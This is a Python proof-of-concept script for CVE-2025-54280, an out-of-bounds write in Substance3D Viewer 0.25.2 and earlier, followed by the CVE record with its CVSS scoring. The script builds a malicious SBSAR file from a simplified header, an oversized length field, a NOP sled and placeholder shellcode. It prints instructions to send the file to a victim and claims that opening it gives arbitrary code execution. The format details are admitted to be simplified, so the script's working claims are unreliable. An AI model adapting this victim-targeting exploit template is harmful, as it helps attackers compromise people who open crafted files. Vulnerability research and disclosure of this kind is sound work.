CVE-2025-54280

# CVE-2025-54280 PoC - Substance3D Viewer Out-of-Bounds Write # This PoC demonstrates the concept of crafting a malicious SBSAR file # that triggers an out-of-bounds write vulnerability in Substance3D Viewer <= 0.25.2 import struct import sys def create_malicious_sbsar(output_path): """ Create a malicious SBSAR file that triggers OOB write vulnerability. The vulnerability exists in the file parsing logic where input data length is not properly validated against buffer boundaries. """ # SBSAR file header (simplified) header = b'SBSAR' # Magic bytes header += struct.pack('<I', 0x01) # Version header += struct.pack('<I', 0x0C) # Header size # Malicious payload section - oversized data to trigger OOB write # The parser allocates a fixed-size buffer but reads variable-length data payload_size = 0xFFFF # Intentionally large to overflow buffer malicious_data = b'\x41' * payload_size # Crafted data that will overwrite return address or function pointer # NOP sled + shellcode placeholder nop_sled = b'\x90' * 256 # Placeholder for shellcode (replace with actual payload) shellcode_placeholder = b'\xCC' * 100 # INT3 breakpoints for debugging # Construct the exploit payload exploit = header exploit += struct.pack('<I', payload_size) # Declared payload size exploit += malicious_data[:64] # Initial data to pass basic validation exploit += nop_sled exploit += shellcode_placeholder exploit += malicious_data[64:] # Remaining overflow data with open(output_path, 'wb') as f: f.write(exploit) print(f"[+] Malicious SBSAR file created: {output_path}") print(f"[!] File size: {len(exploit)} bytes") print(f"[!] Payload size: {payload_size} bytes") if __name__ == "__main__": output = sys.argv[1] if len(sys.argv) > 1 else "exploit.sbsar" create_malicious_sbsar(output) print("[*] Send this file to a victim using Substance3D Viewer <= 0.25.2") print("[*] When the victim opens this file, arbitrary code execution occurs")

{"cve": {"id": "CVE-2025-54280", "sourceIdentifier": "[email protected]", "published": "2025-10-14T19:15:43.500", "lastModified": "2025-10-14T20:20:39.933", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Substance3D - Viewer versions 0.25.2 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:substance_3d_viewer:*:*:*:*:*:*:*:*", "versionEndIncluding": "0.25.2", "matchCriteriaId": "5757450C-E7A8-4082-B84C-E82930AD428F"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/substance3d-viewer/apsb25-99.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}